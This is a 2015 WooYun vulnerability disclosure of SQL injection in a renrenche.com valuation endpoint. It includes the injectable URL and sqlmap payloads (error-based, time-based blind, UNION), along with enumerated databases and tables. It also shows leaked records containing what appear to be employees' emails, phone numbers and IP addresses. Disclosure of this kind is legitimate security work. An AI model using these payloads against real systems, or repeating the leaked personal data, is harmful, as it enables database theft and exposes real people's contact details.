当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139980

漏洞标题：人人车某站存在SQL注入漏洞

相关厂商：renrenche.com

漏洞作者： 星明月稀

提交时间：2015-09-09 16:26

修复时间：2015-10-24 17:20

公开时间：2015-10-24 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-09： 细节已通知厂商并且等待厂商处理中
2015-09-09： 厂商已经确认，细节仅向厂商公开
2015-09-19： 细节向核心白帽子及相关领域专家公开
2015-09-29： 细节向普通白帽子公开
2015-10-09： 细节向实习白帽子公开
2015-10-24： 细节向公众公开

简要描述：

人人车某站存在SQL注入漏洞

详细说明：

注入点：

http://pinggu.renrenche.com/index.php?m=get_model_price&model_id=4147&register_time=2015-05&mile=1&token=TYZKELbm&city=119


参数：city

error-sqli.png

漏洞证明：

sqlmap跑下：

Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: m=get_model_price&model_id=4147&register_time=2015-05&mile=1&token=TYZKELbm&city=119 OR (SELECT 4294 FROM(SELECT COUNT(*),CONCAT(0x71786a7671,(SELECT (ELT(4294=4294,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: m=get_model_price&model_id=4147&register_time=2015-05&mile=1&token=TYZKELbm&city=119 OR SLEEP(5)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: m=get_model_price&model_id=4147&register_time=2015-05&mile=1&token=TYZKELbm&city=119 UNION ALL SELECT CONCAT(0x71786a7671,0x55466e6162684a635073,0x7178787071)-- 
---
[15:55:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.29
back-end DBMS: MySQL 5.0
[15:55:09] [INFO] fetching database names
[15:55:10] [INFO] the SQL query used returns 6 entries
[15:55:10] [INFO] retrieved: information_schema
[15:55:10] [INFO] retrieved: mysql
[15:55:10] [INFO] retrieved: performance_schema
[15:55:10] [INFO] retrieved: price_evaluate_online
[15:55:10] [INFO] retrieved: rrc
[15:55:11] [INFO] retrieved: rrc_friends
available databases [6]:                                                                                                           
[*] information_schema
[*] mysql
[*] performance_schema
[*] price_evaluate_online
[*] rrc
[*] rrc_friends


好像设计主站库，泄露用户信息

Database: rrc                                                                                                                      
[147 tables]
+----------------------------------+
| backup_cm_appointment_20150815   |
| backup_cm_appointment_bak150312  |
| backup_cm_category               |
| backup_cm_ip                     |
| backup_cm_motion                 |
| backup_cm_promo                  |
| backup_rc_auth_code_history      |
| backup_rc_ci_sessions            |
| backup_rc_login_attempts         |
| backup_rc_sale_notify            |
| backup_rc_search_filter          |
| backup_rc_search_filter_bak      |
| backup_rc_user_autologin         |
| backup_rc_user_profiles          |
| backup_rc_users                  |
| cm_58brand                       |
| cm_58chexi                       |
| cm_58chexing                     |
| cm_appointment                   |
| cm_brand                         |
| cm_brand_and_series_info_view    |
| cm_car_info_view                 |
| cm_car_model                     |
| cm_car_series                    |
| cm_intent                        |
| cm_sold                          |
| cp_aftersale_address             |


[16:05:53] [INFO] starting 5 threads
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u5927\\\\u8fde","0000-00-00 00:00:00","xuyonggui@renrenche.com","1024","100.97.137.72","2015-09-09 16:02:58","13604082047","20...
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u5168\\\\u56fd","0000-00-00 00:00:00","yangshaoxu@renrenche.com","1025","100.97.135.248","2015-09-09 08:06:32","13522382635","...
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u5408\\\\u80a5","0000-00-00 00:00:00","luhuan@renrenche.com","1026","","0000-00-00 00:00:00","13515606138","2015-08-14 15:51:2...
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u4f5b\\\\u5c71","0000-00-00 00:00:00","chenchien@renrenche.com","1027","","0000-00-00 00:00:00","18927279047","2015-08-14 18:0...
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u6df1\\\\u5733","0000-00-00 00:00:00","chenweidong@renrenche.com","1031","","0000-00-00 00:00:00","13927488838","2015-08-16 21...
[16:05:55] [INFO] retrieved: "1"," ","0","\\\\u90d1\\\\u5dde","0000-00-00 00:00:00","qianxiaohui@renrenche.com","1030","100.97.135.162","2015-09-09 10:07:56","15981804406",...
[16:05:56] [INFO] retrieved: "1"," ","0","\\\\u4e1c\\\\u839e","0000-00-00 00:00:00","yuanjiangnan@renrenche.com","1032","100.97.136.239","2015-09-09 10:58:34","18688842824


ctrl+c掉，没继续跑了。。。

修复方案：

过滤下下。

版权声明：转载请注明来源 星明月稀@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-09-09 17:18

厂商回复：

非常感谢！

最新状态：

暂无

漏洞评价：

评论